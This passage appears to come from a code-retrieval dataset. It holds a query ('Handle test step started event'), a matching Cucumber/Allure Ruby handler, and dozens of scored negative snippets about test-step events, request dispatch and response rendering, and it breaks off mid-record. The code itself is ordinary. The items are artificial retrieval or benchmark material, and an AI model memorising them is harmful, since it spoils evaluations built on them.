"5f28561b0bc1a70ab8ef288de8ac5516", "score": "0.5164728", "text": "def set_response_status\n raise \"Double Render\" if already_built_response?\n @already_built_response = true\n end", "title": "" }, { "docid": "a58b54fde23911ced67994f57022e840", "score": "0.5161295", "text": "def invoke_action(name)\n self.send(name)\n render(name) unless @already_built_response\n end", "title": "" }, { "docid": "76eae85867e51a0ce9122a51e8d86904", "score": "0.5155517", "text": "def dispatch_action(klass, action_name, status=200)\n @env[\"merb.status\"] = status\n @env[\"merb.action_name\"] = action_name\n\n if Dispatcher.use_mutex\n @@mutex.synchronize { klass.call(env) }\n else\n klass.call(env)\n end\n end", "title": "" }, { "docid": "5893a786c9e634f78fc366fada2657a9", "score": "0.51478213", "text": "def synchronize!\n sync_body!\n check_state!\n write_response_in_cache\n @response\n end", "title": "" }, { "docid": "3226176a8e52081fe02c00a969e11d28", "score": "0.5147149", "text": "def notify(response)\n\t\tself.response = response\n\n\t\tif (self.completion_routine)\n\t\t\tself.completion_routine(self.completion_param, response)\n\t\telse\n\t\t\tself.mutex.synchronize {\n\t\t\t\tself.cond.signal\n\t\t\t}\n\t\tend\n\tend", "title": "" }, { "docid": "77a32e117bab8eacbefbbe2946dd2db1", "score": "0.51431274", "text": "def update_response(path, response)\n if perform_caching\n path = clean(path)\n read_response(path, response)\n end\n response\n end", "title": "" }, { "docid": "f8edf5a89d7ea55d02b49bcbc6389e0a", "score": "0.5142024", "text": "def fetch\n responses\n end", "title": "" }, { "docid": "c0e9af9b20922c71d667550785d35c0f", "score": "0.5140094", "text": "def dispatch\n completion = EM::Completion.new\n @queue << lambda do\n begin\n result = yield @resource\n completion.succeed result\n rescue => e\n completion.fail e\n end\n end\n completion\n end", "title": "" }, { "docid": "576cf5966f1652b9d3a2d707159d35ff", "score": "0.5139261", "text": "def response\n if @request\n @request.response\n end\n end", "title": "" }, { "docid": "20009c079cbc84280c19832b5816da85", "score": "0.5137879", "text": "def dispatch(action, routing_params = {})\n @routing_params = routing_params\n text = self.send(action)\n if get_response\n status, headers, text = get_response.to_a\n [status, headers, [text].flatten]\n else\n [200, {'Content-Type' => 'text/html'}, [text].flatten]\n end\n end", "title": "" }, { "docid": "5bce98cdf6491fd6576f4447867683d4", "score": "0.51373625", "text": "def render_with_response_for(*args, &block)\n if !instance_variable_get('@performed_respond_to') && !block_given? && args.reject(&:nil?) == [] && self.class.send(:action_responses)[action_name]\n respond_to\n return if performed?\n end\n render_without_response_for(*args, &block)\n end", "title": "" }, { "docid": "7653d0cb7c15431159179ec9d6045a52", "score": "0.5136107", "text": "def perform(request, response, &block)\n reset(request, response)\n follow(&block)\n end", "title": "" }, { "docid": "23d597da20056baa5bbea73225500c53", "score": "0.51317877", "text": "def ensure_response(label)\n make_calls unless (response_for(label) || [email protected]_key?(label))\n end", "title": "" }, { "docid": "5521f85512a38114e48cba5d113369af", "score": "0.51279837", "text": "def on_dispatch_request(cli, data)\n service.default_dispatch_request(cli,data)\n end", "title": "" }, { "docid": "3e0f394ef05186d85325fbf986da3f20", "score": "0.5127625", "text": "def dispatch_request(packet); end", "title": "" }, { "docid": "727966d55e23fcdfb2b96840844a8c30", "score": "0.5127535", "text": "def update\n render nothing: true unless action_allowed?\n msg = ''\n begin\n # the response to be updated\n # Locking functionality added for E1973, team-based reviewing\n if @map.team_reviewing_enabled && !Lock.lock_between?(@response, current_user)\n response_lock_action\n return\n end\n\n @response.update_attribute('additional_comment', params[:review][:comments])\n @questionnaire = questionnaire_from_response\n questions = sort_questions(@questionnaire.questions)\n\n # for some rubrics, there might be no questions but only file submission (Dr. Ayala's rubric)\n create_answers(params, questions) unless params[:responses].nil?\n if params['isSubmit'] && params['isSubmit'] == 'Yes'\n @response.update_attribute('is_submitted', true)\n end\n\n if (@map.is_a? ReviewResponseMap) && @response.is_submitted && @response.significant_difference?\n @response.notify_instructor_on_difference\n end\n rescue StandardError\n msg = \"Your response was not saved. Cause:189 #{$ERROR_INFO}\"\n end\n ExpertizaLogger.info LoggerMessage.new(controller_name, session[:user].name, \"Your response was submitted: #{@response.is_submitted}\", request)\n redirect_to controller: 'response', action: 'save', id: @map.map_id,\n return: params.permit(:return)[:return], msg: msg, review: params.permit(:review)[:review],\n save_options: params.permit(:save_options)[:save_options]\n end", "title": "" }, { "docid": "beb93fa481fd8bc16a0cc41de91c3a58", "score": "0.5116523", "text": "def process()\n get() if @method == \"get\" \n post() if @method == \"post\"\n @response\n end", "title": "" }, { "docid": "b34da03f56b99fc986c7b92f97f82b17", "score": "0.51151085", "text": "def build_response\n Hotwire::Response.from_request(self)\n end", "title": "" }, { "docid": "a477bfd8920194c3c434dc23f9091974", "score": "0.51120555", "text": "def response(request)\n response = responses.fetch(@response_counter, responses.last)\n if response.respond_to?(:call)\n response = response.call(request)\n end\n @response_counter += 1\n response.mock = @from || true\n response\n end", "title": "" }, { "docid": "aad0099052ac91f54b6f42b0bfa39af3", "score": "0.5106387", "text": "def after_update_response\n respond_to do |wants|\n wants.html do\n link_to_file = view_context.link_to(curation_concern, [main_app, curation_concern])\n redirect_to [main_app, curation_concern], notice: view_context.t('hyrax.file_sets.asset_updated_flash.message', link_to_file: link_to_file)\n end\n wants.json do\n @presenter = show_presenter.new(curation_concern, current_ability)\n render :show, status: :ok, location: polymorphic_path([main_app, curation_concern])\n end\n end\n end", "title": "" }, { "docid": "5140b24219ebc3b1778eaab56226cb75", "score": "0.5105153", "text": "def fetch\n @_fetch ||= begin\n path = @owner.build_request_path(@params)\n @owner.request(@params.merge(:_method => :get, :_path => path)) do |response|\n @owner.new_collection(response.body)\n end\n end\n end", "title": "" }, { "docid": "37394f1faf95fb96d2562b38fc501779", "score": "0.5102912", "text": "def invoke_action(name)\n self.send(name)\n render(name.to_s) unless @already_built_response\n end", "title": "" }, { "docid": "b91b8dde04af144eae8625c21b025de7", "score": "0.5100312", "text": "def fetch\n @requests.each { |request| @runner.queue request }\n @runner.run\n @requests.map { |request| request.response }\n end", "title": "" } ]
d9d26d6700737c33cfe2111a57e6e53a
Handle test step started event
[ { "docid": "41f8283968e39ea5abd92785694aadd8", "score": "0.8862959", "text": "def on_test_step_started(event)\n event.test_step.hook? ? handle_hook_started(event.test_step) : handle_step_started(event.test_step)\n end", "title": "" } ]
[ { "docid": "dca1bfedb92f8904329f1e8efffd6981", "score": "0.8708465", "text": "def on_test_step_started(event)\n hook?(event.test_step) ? handle_hook_started(event.test_step) : handle_step_started(event.test_step)\n end", "title": "" }, { "docid": "dca1bfedb92f8904329f1e8efffd6981", "score": "0.8708465", "text": "def on_test_step_started(event)\n hook?(event.test_step) ? handle_hook_started(event.test_step) : handle_step_started(event.test_step)\n end", "title": "" }, { "docid": "ad6008ee014c8aec2b2121af352f3644", "score": "0.8393909", "text": "def test_step_started; end", "title": "" }, { "docid": "fb11b3d01f71e6a869aaff118d3f0efe", "score": "0.7822441", "text": "def on_test_case_started(event)\n lifecycle.start_test_container(TestResultContainer.new(name: event.test_case.name))\n lifecycle.start_test_case(AllureCucumberModel.test_result(event.test_case))\n end", "title": "" }, { "docid": "555215fbc8606a35ab4b5adf0c18a266", "score": "0.7766508", "text": "def on_test_case_started(event)\n lifecycle.start_test_container(Allure::TestResultContainer.new(name: event.test_case.name))\n lifecycle.start_test_case(cucumber_model.test_result(event.test_case))\n end", "title": "" }, { "docid": "7a18ea14844525808ef8ae4384ee69f5", "score": "0.7764067", "text": "def on_test_case_started(event)\n lifecycle.start_test_container(Allure::TestResultContainer.new(name: event.test_case.name))\n lifecycle.start_test_case(test_result(event.test_case))\n end", "title": "" }, { "docid": "1aa60fe24ab081e7afdd41678c928228", "score": "0.76551896", "text": "def test_case_started; end", "title": "" }, { "docid": "84148dec3c1205e779c7decaaa8f1d0a", "score": "0.74496", "text": "def test_run_started; end", "title": "" }, { "docid": "e562114a8f760bfff6c68545b4e7e269", "score": "0.7223877", "text": "def test_step_finished; end", "title": "" }, { "docid": "a68a0c64f33b9e286ae9043961a2d03d", "score": "0.71767986", "text": "def test_started(source, *args)\n test_name = source.test.name\n @console.puts(\"##teamcity[testStarted flowId='#{test_name}' timestamp='#{_timestamp}' name='#{test_name}']\")\n end", "title": "" }, { "docid": "3f280c87fe3f8e9fdf293a6a5315df33", "score": "0.7097113", "text": "def test_step; end", "title": "" }, { "docid": "3f280c87fe3f8e9fdf293a6a5315df33", "score": "0.7097113", "text": "def test_step; end", "title": "" }, { "docid": "3f280c87fe3f8e9fdf293a6a5315df33", "score": "0.7097113", "text": "def test_step; end", "title": "" }, { "docid": "3f280c87fe3f8e9fdf293a6a5315df33", "score": "0.7097113", "text": "def test_step; end", "title": "" }, { "docid": "b9bd91821d85db975e78fa246a6318d6", "score": "0.70118636", "text": "def scenario_started(scenario)\n end", "title": "" }, { "docid": "99269993f89b76a743b98d3753786a56", "score": "0.69658107", "text": "def test_started(test_name)\n test_name, qualified_test_name = get_test_name_and_fqn(test_name)\n\n debug_log(\"Test started #{test_name}...[#{qualified_test_name}]\")\n\n if ::Rake::TeamCity.is_in_buildserver_mode\n @my_running_test_name = qualified_test_name\n else\n @my_running_test_name = test_name\n end\n\n @my_running_test_name_runner_original = test_name\n @my_running_test_start_time = get_current_time_in_ms\n log(@message_factory.create_test_started(@my_running_test_name,\n location_from_ruby_qualified_name(qualified_test_name), @running_suite, qualified_test_name))\n #capture output\n test_output_capturer_start()\n end", "title": "" }, { "docid": "b961a3215c12f77b94928978ad751b54", "score": "0.68832564", "text": "def start_test(test)\n end", "title": "" }, { "docid": "11a3c994a4ed03273cee22d2cd098606", "score": "0.68365735", "text": "def test_started(source, *args)\n @manager.test_monitor_register(source.test.name)\n end", "title": "" }, { "docid": "9e55dc90c25b7ab1c9d5ca9e0460e5da", "score": "0.68304044", "text": "def on_starting_entry(state, event, *event_args)\n super\n\n __debug_sim('The workflow is starting.')\n\n self\n end", "title": "" }, { "docid": "428b5d1eaf9535043f41374ccd294f0d", "score": "0.6814254", "text": "def test_steps; end", "title": "" }, { "docid": "9d9ac208b6d23d4e4770d9afbfaf91f0", "score": "0.6764829", "text": "def start_case(test_case)\n end", "title": "" }, { "docid": "23caaf6b6a0fd669a7337654c5a8a6ad", "score": "0.6760679", "text": "def on_test_run_finished(event)\n print_tests_status\n end", "title": "" }, { "docid": "92095ea5b0f9c71d09d9cab2852bedcb", "score": "0.66714334", "text": "def on_test_step_finished(event)\n update_block = proc do |step|\n step.stage = Allure::Stage::FINISHED\n step.status = ALLURE_STATUS.fetch(event.result.to_sym, Allure::Status::BROKEN)\n end\n step_type = event.test_step.hook? ? \"fixture\" : \"test_step\"\n\n lifecycle.public_send(\"update_#{step_type}\", &update_block)\n lifecycle.public_send(\"stop_#{step_type}\")\n end", "title": "" }, { "docid": "1bcd5c7b35b3b35bcbc5d73a480d21ac", "score": "0.6649414", "text": "def test_started(test_name)\n name = lr.extract_class_name test_name\n lr.state.class = lr.testcase_classes.detect { |c| c.name == name }\n\n super\n end", "title": "" }, { "docid": "eb12f35687e45c909dc47b9239cb8e9e", "score": "0.66241485", "text": "def before_step(step)\n @step = step\n @start_time = Time.now\n end", "title": "" }, { "docid": "70d30e9a0fd6dcd1d64ed2929f824833", "score": "0.66046065", "text": "def start_test(test)\n @test_time = Time.now\n @test = test\n end", "title": "" }, { "docid": "e228c9dd90bfa01bc6fc5bb77c46d091", "score": "0.66021156", "text": "def on_test_step_finished(event)\n return if prepare_world_hook?(event.test_step)\n\n update_block = proc do |step|\n step.stage = Stage::FINISHED\n step.status = ALLURE_STATUS.fetch(event.result.to_sym, Status::BROKEN)\n end\n step_type = hook?(event.test_step) ? \"fixture\" : \"test_step\"\n\n lifecycle.public_send(\"update_#{step_type}\", &update_block)\n lifecycle.public_send(\"stop_#{step_type}\")\n end", "title": "" }, { "docid": "54c0704209be79686d96189f605b6dbe", "score": "0.6571394", "text": "def step\n\tend", "title": "" }, { "docid": "305bca4190796d156bbaef77e9802aab", "score": "0.6538699", "text": "def before_steps(steps)\n if !@scenario_outline \n start_test\n end\n end", "title": "" }, { "docid": "c652a51608e8f5da5da3475eec5e8ddd", "score": "0.6538008", "text": "def on_test_step_finished(event)\n return if prepare_world_hook?(event.test_step)\n\n update_block = proc do |step|\n step.stage = Allure::Stage::FINISHED\n step.status = ALLURE_STATUS.fetch(event.result.to_sym, Allure::Status::BROKEN)\n end\n step_type = hook?(event.test_step) ? \"fixture\" : \"test_step\"\n\n lifecycle.public_send(\"update_#{step_type}\", &update_block)\n lifecycle.public_send(\"stop_#{step_type}\")\n end", "title": "" }, { "docid": "2ebf4cd9ab8235bd565ce158a0c331d1", "score": "0.6535801", "text": "def step; end", "title": "" }, { "docid": "2ebf4cd9ab8235bd565ce158a0c331d1", "score": "0.6535801", "text": "def step; end", "title": "" }, { "docid": "28c0bd73d229e598a5d329b3807c6780", "score": "0.64948756", "text": "def on_test_run_started(_event)\n lifecycle.clean_results_dir\n end", "title": "" }, { "docid": "28c0bd73d229e598a5d329b3807c6780", "score": "0.64948756", "text": "def on_test_run_started(_event)\n lifecycle.clean_results_dir\n end", "title": "" }, { "docid": "6ecbfd7d67437912c40e71aed8a38c6d", "score": "0.6468854", "text": "def example_started(name)\n end", "title": "" }, { "docid": "8243589d77c4d1a0c899ceb3f8110092", "score": "0.6416541", "text": "def startTest\n\t\t\treturn unless @running # don't start new tests if the EventMachine is stopping\n\t\t\tstartAt = Time.new\n\t\t\t# create a new runner and add it to the queue\n\t\t\trunner = TestRunner.new(Fiber.new { @test.call })\n\t\t\t@runners << runner\n\t\t\trunner.errback do |e| # if the runner failed\n\t\t\t\[email protected](runner) # remove it from the queue\n\t\t\t\[email protected] { |b| b.call(Time.new - startAt, e) } # notify the failure handler\n\t\t\t\tself.tick # then tick the load test\n\t\t\tend\n\t\t\trunner.callback do # if the runnner completed\n\t\t\t\[email protected](runner) # remove it from the queue\n\t\t\t\[email protected] { |b| b.call(Time.new - startAt) } # notify the success handler\n\t\t\t\tself.tick # then tick the load test\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "685c4f0d928876ca430f9969e40853ee", "score": "0.6404987", "text": "def test_step_result; end", "title": "" }, { "docid": "f0fbb19b868b7d40482caee9e270611b", "score": "0.64007545", "text": "def test_run_finished; end", "title": "" }, { "docid": "f108919f2b2bfb68389ac6475ec1cbe5", "score": "0.639389", "text": "def on_single_step\n end", "title": "" }, { "docid": "70546497fde7a2c1a2371ad7d2d217ac", "score": "0.6382935", "text": "def step(step_name, error_on_fail = true, &block)\n @current_step = step_name\n @runner.notify_change('test_step_started', step_name)\n status = yield\n @runner.notify_change('test_step_finished', step_name, status ? :passed : :failed)\n # If error on fail is true and the test failed, raise an error.\n raise StepFailedError.new(\"Step '#{step_name}' failed\") if error_on_fail && !status\n ensure\n @current_step = nil\n end", "title": "" }, { "docid": "ff8fe04af912eb90b79bd98f8315540f", "score": "0.63785845", "text": "def allure_start_step(suite_name, test_name, step_name)\n @mutex.synchronize { @builder.start_step(suite_name, test_name, step_name) }\n end", "title": "" }, { "docid": "beaf03de55a4990ba02c19d1b6bf8fe2", "score": "0.63763154", "text": "def startTC()\n @log.info(\"****************************************************************************************\")\n \n @log.info(\"****************************************************************************************\")\n \n @log.info(\"======== Starting Execution of Test case ========\")\n \n @log.info(\"****************************************************************************************\")\n \n @log.info(\"****************************************************************************************\")\n end", "title": "" }, { "docid": "9825ae3c78a4e62650f3659b19fdf632", "score": "0.6371689", "text": "def tc_before_step(step)\n register_tags_holder\n @handled_exception = nil\n unless @current_step_start_time\n @current_step_start_time = get_current_time_in_ms\n end\n end", "title": "" }, { "docid": "354765ec64ed96995218b1ed48777675", "score": "0.63480896", "text": "def spec_started(name)\n end", "title": "" }, { "docid": "a2b1ca9d9d1330ea1acde74a3598fc51", "score": "0.6346185", "text": "def on_step(step_count, steps); end", "title": "" }, { "docid": "5731ee6904442ca694952d1d9009e4c0", "score": "0.63389504", "text": "def example_started(example)\r\n debug_log(\"example started [#{example.description}] #{example}\")\r\n\r\n my_running_example_desc = example.description\r\n my_running_example_full_name = \"#{@example_group_desc} #{my_running_example_desc}\"\r\n\r\n # Send open event\r\n # * additional_flowid_suffix - uses for concurrent examples running, due to rspec bug\r\n if @@RUNNING_EXAMPLES_STORAGE.empty?\r\n additional_flowid_suffix = \"\"\r\n else\r\n additional_flowid_suffix = example.hash.to_s;\r\n debug_log(\"New flowid was creating [#{Rake::TeamCity::MessageFactory::RAKE_FLOW_ID+additional_flowid_suffix}]...\")\r\n log_one(Rake::TeamCity::MessageFactory.create_flow_message(Rake::TeamCity::MessageFactory::RAKE_FLOW_ID, \"\", additional_flowid_suffix))\r\n end\r\n debug_log(\"Example starting.. - full name = [#{my_running_example_full_name}], addit flowid suffix=[#{additional_flowid_suffix}], desc = [#{my_running_example_desc}]\")\r\n log_one(Rake::TeamCity::MessageFactory.create_open_block(my_running_example_full_name, :test, additional_flowid_suffix))\r\n\r\n std_files = capture_output_start_external\r\n debug_log(\"Output caputre started.\")\r\n @@RUNNING_EXAMPLES_STORAGE[example] = RunningExampleData.new(my_running_example_full_name, additional_flowid_suffix, *std_files)\r\n end", "title": "" }, { "docid": "f2672d22e3ca3520332cfd6332d2ba30", "score": "0.62955105", "text": "def test_case_finished; end", "title": "" }, { "docid": "5b992157503b847c7bd420563384d93f", "score": "0.62460864", "text": "def result_start_test(testcase)\n\n #Testcase Intialization time\n @test_start_time = Time.new\n \n #Initialize variables\n @test_failed = false\n @summary_remarks = \"\"\n @summary_remarks_pass = \"\"\n @summary_remarks_fail = \"\"\n @summary_remarks_error = \"\"\n @summary_remarks_omit = \"\"\n @summary_remarks_pending = \"\"\n @summary_remarks_na = \"\"\n @summary_remarks_partial = \"\"\n @summary_remarks_blocked = \"\"\n @summary_remarks_expfail = \"\"\n \n #Increment test counter\n @test_counter += 1\n\n #Store test method name (with data value)\n @test_name = testcase\n \n #Store test method name (without data value)\n @test_method_name = testcase.gsub(/\\[.*\\]/,\"\")\n \n #Fetch test link Id from mapping file\n tl_id = Common.get_testlink_id(@test_method_name)\n if tl_id != nil\n @test_link_id = FWConfig::TESTLINK_PROJECT_PREFIX + tl_id.to_s\n else\n @test_link_id = \"\"\n end \n \n if @test_counter == 1 && @result_logged_in_startup\n updatedMessage = \"\\n\"\n else\n updatedMessage = \"\"\n end\n\n updatedMessage << \"#{PREFIX_RES_START} Start of TestCase: \" + @test_counter.to_s + \" \" +@test_name+ @test_start_time.strftime(\" (%Y-%b-%d %H:%M:%S.%L)\")\n Common.append_text_to_file(@result_log,updatedMessage)\n log_to_result(updatedMessage)\n end", "title": "" }, { "docid": "57a19d49d519ac1be1cdaa78c87b951f", "score": "0.6234625", "text": "def log_test_opened(step_line, file_colon_line = nil)\n log(@message_factory.create_test_started(step_line,\n location_from_link(*extract_cucumber_location(file_colon_line))))\n end", "title": "" }, { "docid": "11211baa2753bd8b69a4c4e44e297eb3", "score": "0.6222728", "text": "def scenario_start(msg)\n msg=teamcity_escape(msg)\n @io.puts \"##teamcity[testStarted #{timestamp} name='#{msg}' captureStandardOutput='true']\"\n @io.flush\n end", "title": "" }, { "docid": "e275201d88968c6b923d9e5dac1dd22c", "score": "0.6219852", "text": "def run_test\n start_test\n end", "title": "" }, { "docid": "bbdefd6ed86d089c7c83426647e19d5e", "score": "0.6216594", "text": "def run_start(config)\n puts \"The test run is starting\"\n end", "title": "" }, { "docid": "57617a62aef1893997feb918faa715cc", "score": "0.6194559", "text": "def before_you_start\n wizard_step(NEW_STEPS)\n end", "title": "" }, { "docid": "f3e725339d17385d9c7c209a17ae6efe", "score": "0.6186342", "text": "def step\n # YOUR CODE GOES HERE\n raise StandardError.new \"Implement me!\"\n end", "title": "" }, { "docid": "3bb6862a17569c0b516a9e860557b51a", "score": "0.6180026", "text": "def report_example_started(example)\n my_running_example_desc = example_description(example).to_s\n debug_log(\"example started [#{my_running_example_desc}] #{example}\")\n\n parent_group_data = peek_groups_stack\n my_running_example_full_name = \"#{parent_group_data.full_name} #{my_running_example_desc}\"\n\n # Send open event\n debug_log(\"Example starting.. - full name = [#{my_running_example_full_name}], desc = [#{my_running_example_desc}]\")\n example_id = !example.nil? && example.respond_to?(:id) ? example.id : my_running_example_full_name\n log(@message_factory.create_test_started(my_running_example_desc,\n location_from_link(*extract_source_location_from_example(example)),\n parent_group_data.id,\n example_id))\n\n # Start capturing...\n std_files = capture_output_start_external\n started_at_ms = if rspec_2?\n get_time_in_ms(example.execution_result[:started_at])\n else\n get_current_time_in_ms\n end\n\n debug_log('Output capturing started.')\n\n put_data_to_storage(example, Spec::Runner::Formatter::RunningExampleData.new(example_id, my_running_example_full_name, started_at_ms, *std_files))\n end", "title": "" }, { "docid": "b7c49214438546e317f91e275a4a2ab4", "score": "0.6167901", "text": "def logged_step( test, label )\n start_time = Time.now\n @logger.info \"#{label} started\"\n\n update_logging_indent( +1 )\n error_count = yield test\n update_logging_indent( -1 )\n stop_time = Time.now\n\n @step_count += 1\n info_string = \" in #{stop_time - start_time} seconds - orders processed: #{test.data}\"\n if ( error_count == 0 )\n @logger.info \"#{label} \" + 'PASSED'.green + info_string\n @pass_count += 1\n else\n @logger.error \"#{label} \" + 'FAILED'.red + info_string\n @fail_count += 1\n @success = false\n end\n\n return ( error_count == 0 )\n end", "title": "" }, { "docid": "fd3002bddc15309761c18ce8e2b2b153", "score": "0.6163053", "text": "def testcase_setup\n end", "title": "" }, { "docid": "f3d7b6a377c872c97da0d38909264303", "score": "0.6159607", "text": "def start(notification)\n # there is a super method for this\n super(notification)\n\n now = ::Qa::Time.now_f\n output.emit_suite_event(now, notification.count, @seed)\n end", "title": "" }, { "docid": "30c8c8c3b51b230766c36cf41b51f889", "score": "0.614626", "text": "def run(result)\n return if @method_name.to_s == \"default_test\"\n\n @_result = result\n @internal_data.test_started\n\n yield(Test::Unit::TestCase::STARTED, name)\n yield(Test::Unit::TestCase::STARTED_OBJECT, self)\n\n @internal_data.test_finished\n result.add_run\n yield(Test::Unit::TestCase::FINISHED, name)\n yield(Test::Unit::TestCase::FINISHED_OBJECT, self)\n end", "title": "" }, { "docid": "469d53ad4511c5594b063c7561046001", "score": "0.61443716", "text": "def feature_start(msg, io=@io)\n msg=teamcity_escape(msg)\n io.puts \"##teamcity[testSuiteStarted #{timestamp} name='#{msg}']\"\n io.flush\n end", "title": "" }, { "docid": "ffabea60106976f4cd47d6a493b6e1b8", "score": "0.6143627", "text": "def started(result)\n @result = result\n\n #Default value\n @output_is_capturing = false\n\n debug_log(\"Test mediator started: #{@root_suite_name}...\")\n end", "title": "" }, { "docid": "a870e2a6abe39d46252176aff4600278", "score": "0.6134139", "text": "def on_start(event)\n end", "title": "" }, { "docid": "362076c1182fa8c4b051b87ebdfdf5d1", "score": "0.6131419", "text": "def setup_start\n @test_case.setup_started_at = Time.now\n respond_to do |format|\n if @test_case.save\n format.html { redirect_to [:admin, @test_case], notice: 'Setup of test was successfully started.' }\n format.json { render action: 'show', status: :created, location: @test_case }\n else\n format.html { render action: 'new' }\n format.json { render json: @test_case.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7337b944f7781e6a8724135e80d9cfd1", "score": "0.6096651", "text": "def on_starting_exit(state, event, *event_args)\n super\n\n unless event == :start\n\n __debug_sim(\"Using workflow #{self.class}\")\n __debug_sim(\"with workflow_phase: #{workflow_phase.inspect}\")\n __debug_sim(\"with variant_type: #{variant_type.inspect}\")\n __debug_sim(\"with record: #{record.inspect}\")\n\n set_workflow_phase(workflow_phase)\n\n end\n\n self\n end", "title": "" }, { "docid": "e4c4e94873c5a141fa3bfafab9bf968a", "score": "0.6086327", "text": "def setup\n Logging.ndc.push(@test_name)\n #\n super\n @result_data = Automation::TaskResultData.new(@config_manager['run.result.directory'], @test_name)\n runtime.save(:test_runner, self)\n # Task name.\n @task_result.properties['display_name'] = @test_name\n @task_result.save\n #\n @logger.debug('Loading test...')\n load_test\n create_working_directory\n notify_change('test_started')\n #\n @logger.debug('Loading database resources...')\n @run_result = @results_database.get_run_result\n @run_config = @run_result.run_config\n @resource = @test_database.get_test!(@run_config, @test_name, @test.test_type)\n @test_result = @test_database.create_test_result(@run_result, @resource)\n # Validate that the resources were created properly.\n raise DataError.new(\"Could not create the 'Test' resource\") if @resource.nil?\n raise DataError.new(\"Could not create the 'TestResult' resource\") if @test_result.nil?\n # Save extra test information to the database.\n @resource.test_category = @test.category\n @resource.test_description = @test.description\n @resource.save\n # Save the current process' PID.\n update_pid\n end", "title": "" }, { "docid": "74fa5d35e6a24ca86b0c7e1e88c2af74", "score": "0.6084701", "text": "def before_features(*args)\n @suite_start_time = Time.now\n end", "title": "" }, { "docid": "37cb9054b76803db1ad02b27659609e8", "score": "0.608136", "text": "def start\n run_step(:prepare)\n run_step(:start)\n end", "title": "" }, { "docid": "961899515b8d6c2da93bca3d3426d4c1", "score": "0.60332745", "text": "def run_step(name)\n lifecycle.start_test_step(StepResult.new(name: name, stage: Stage::RUNNING))\n result = yield\n lifecycle.update_test_step { |step| step.status = Status::PASSED }\n\n result\n rescue StandardError, RSpec::Expectations::ExpectationNotMetError => e\n lifecycle.update_test_step do |step|\n step.status = ResultUtils.status(e)\n step.status_details = ResultUtils.status_details(e)\n end\n raise(e)\n ensure\n lifecycle.stop_test_step\n end", "title": "" }, { "docid": "181375a3a6c2d0e23bff04f27a355231", "score": "0.6032986", "text": "def step\n @step\n end", "title": "" }, { "docid": "9ff3f8a0be6ada797192bb39ac6cb069", "score": "0.60157984", "text": "def example_started(example)\n super(example)\n output << \"\\n=begin===========================================================\\n\\n\"\n output << bold(\"Running test: \") << \"#{next_index} of #{@max_tests}\" << \"\\n\"\n output << bold(\"Description:\\n \") << color(example.full_description, :magenta) << \"\\n\\n\"\n end", "title": "" }, { "docid": "c0f76ede70bffd8a74005816eb585293", "score": "0.6011206", "text": "def events\n [\"start_test_run\",\n \"stop_test_run\",\n \"start_rerun\",\n \"test_run_completed\",\n \"test_created\",\n \"start_test\",\n \"stop_test\",\n \"test_completed\",\n \"info\",\n \"debug\"]\n end", "title": "" }, { "docid": "1d06a4747b5883d0cb0e716e302f750e", "score": "0.6007859", "text": "def test_step name, &block\n\tbegin\n\t\t$env_step_name = name\n\t\tgen_report_step_start name\n\t\tblock.call\n\trescue FailedDependencyError => e\n\t\tgen_report_step_skip name, e.message\n\t\tgen_set_step_dependency_failure name\n\trescue Exception => e\n\t\tgen_report_step_failure name, e\n\t\tgen_set_failed_step name\n\tensure\n\t\tgen_report_step_end name\n\tend\nend", "title": "" }, { "docid": "eda262ecccab3f5a761c7913ac758e9b", "score": "0.5991611", "text": "def handle_start\n @state.handle_start\n true\n end", "title": "" }, { "docid": "c1c98633ad61e84b994f57a3d181d7c0", "score": "0.5990713", "text": "def on_step(&block)\n @step_block = block\n end", "title": "" }, { "docid": "1812726e864afdcc97d0f14cdb7f14e9", "score": "0.5989185", "text": "def start\n @suite_start_time = ::Qa::Time.now_f\n\n @test_cases = Minitest::Runnable.runnables\n count_tests!(@test_cases)\n\n @stdcom.reset!\n\n @io.emit_suite_event(@suite_start_time, @test_count, @options[:seed])\n end", "title": "" }, { "docid": "6cfdf94d9dfbc099bcf1afb28b1be1d7", "score": "0.5988929", "text": "def redirect_test_start\n redirect_to :action => :redirect_test_end\n end", "title": "" }, { "docid": "792eb3d473948205027cdc0f1f995381", "score": "0.59760827", "text": "def steps; end", "title": "" }, { "docid": "792eb3d473948205027cdc0f1f995381", "score": "0.59760827", "text": "def steps; end", "title": "" }, { "docid": "792eb3d473948205027cdc0f1f995381", "score": "0.59760827", "text": "def steps; end", "title": "" }, { "docid": "5a628fb61130e971532ad3ae10b6ec45", "score": "0.5975411", "text": "def test_setup\r\n \r\n end", "title": "" }, { "docid": "2d481fbb4b08a4799de3faada5f7bb81", "score": "0.597474", "text": "def start_test(test)\n #stub meant to be overridden\n raise NoMethodError\n end", "title": "" }, { "docid": "3860f2b0153157e51934dec335f33d5f", "score": "0.59546894", "text": "def start_suite(test_suite)\n end", "title": "" }, { "docid": "3860f2b0153157e51934dec335f33d5f", "score": "0.59546894", "text": "def start_suite(test_suite)\n end", "title": "" }, { "docid": "32eb8732389f631650979b5ffdf8ca35", "score": "0.5953817", "text": "def run\n Overseer.current_test = self\n start_time = Time.now\n suite.before.call if suite.before\n begin\n @code.call\n rescue Exception => e\n errors << e\n ensure\n begin\n suite.after.call if suite.after\n rescue Exception => e\n errors << e if passed?\n end\n @time = Time.now - start_time\n end\n end", "title": "" }, { "docid": "07f06dd08df6ab05400a01766c8b346c", "score": "0.5945872", "text": "def test_setup\n \n end", "title": "" }, { "docid": "3197d54c048f8c28657a0d0ccf70abe0", "score": "0.5942335", "text": "def testing_end\n end", "title": "" }, { "docid": "c62f79e342c52d5a3beb9519149ca3a5", "score": "0.5932331", "text": "def start\n super\n\n @test_cases = Runnable.runnables\n\n capture_io\n\n #@_stdout, @_stderr = capture_io do\n # super_result = super(suite, type)\n #end\n\n before_suite(@test_cases)\n end", "title": "" }, { "docid": "5e00a81c566fe51be9716b02f62f71d8", "score": "0.59252304", "text": "def on_start; end", "title": "" }, { "docid": "612e38c0f8aa6e1fbb1f6c73436081e4", "score": "0.5921236", "text": "def before_step(step)\n tc_before_step(step)\n end", "title": "" }, { "docid": "2862f6f8f6c1287a87c05fdf9ecd6870", "score": "0.5917267", "text": "def test_step_id; end", "title": "" }, { "docid": "2862f6f8f6c1287a87c05fdf9ecd6870", "score": "0.5917267", "text": "def test_step_id; end", "title": "" }, { "docid": "2862f6f8f6c1287a87c05fdf9ecd6870", "score": "0.5917267", "text": "def test_step_id; end", "title": "" }, { "docid": "ae80653de9350725669dba4d5614eace", "score": "0.5908991", "text": "def test_mytest\r\n begin\r\n 